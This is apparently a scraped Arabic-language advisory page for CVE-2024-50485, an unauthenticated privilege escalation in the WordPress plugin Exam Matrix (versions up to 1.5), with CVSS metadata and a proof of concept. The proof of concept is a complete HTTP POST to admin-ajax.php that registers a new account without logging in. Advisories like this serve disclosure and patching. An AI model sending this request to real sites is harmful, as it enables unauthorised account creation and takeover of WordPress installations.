CVE-2024-50485

Exam Matrix <= 1.5 - تصعيد الامتيازات غير الموثّق

الوصف:

إضافة Exam Matrix لووردبريس معرضة لتصعيد الامتيازات في جميع الإصدارات حتى 1.5. يرجع السبب إلى أن الإضافة لا تقيد الوظيفة بشكل صحيح مما يسمح للمستخدمين غير الموثّقين بالتسجيل كدور ذي امتيازات أعلى. وهذا يتيح للمهاجمين غير الموثّقين الحصول على امتيازات وصول أعلى مثل الامتيازات الإدارية.

Published: 2024-10-25 00:00:00
CVE: CVE-2024-50485
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: exam-matrix

هذا يتيح لك فقط التسجيل كمستخدم هنا، ولا يوجد خيار لتغيير الدور.

POC

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 133
Origin: http://kubernetes.docker.internal
Connection: keep-alive

action=register_action&username=admin2&[email protected]&firname=John&lasname=Doe&address=123%20Main%20St&passwrd=securepassword

الرد

goToImageUpload

CVE-2024-50485

الأكثر شعبية

CVE-2024-50485

الوصف:

POC

الرد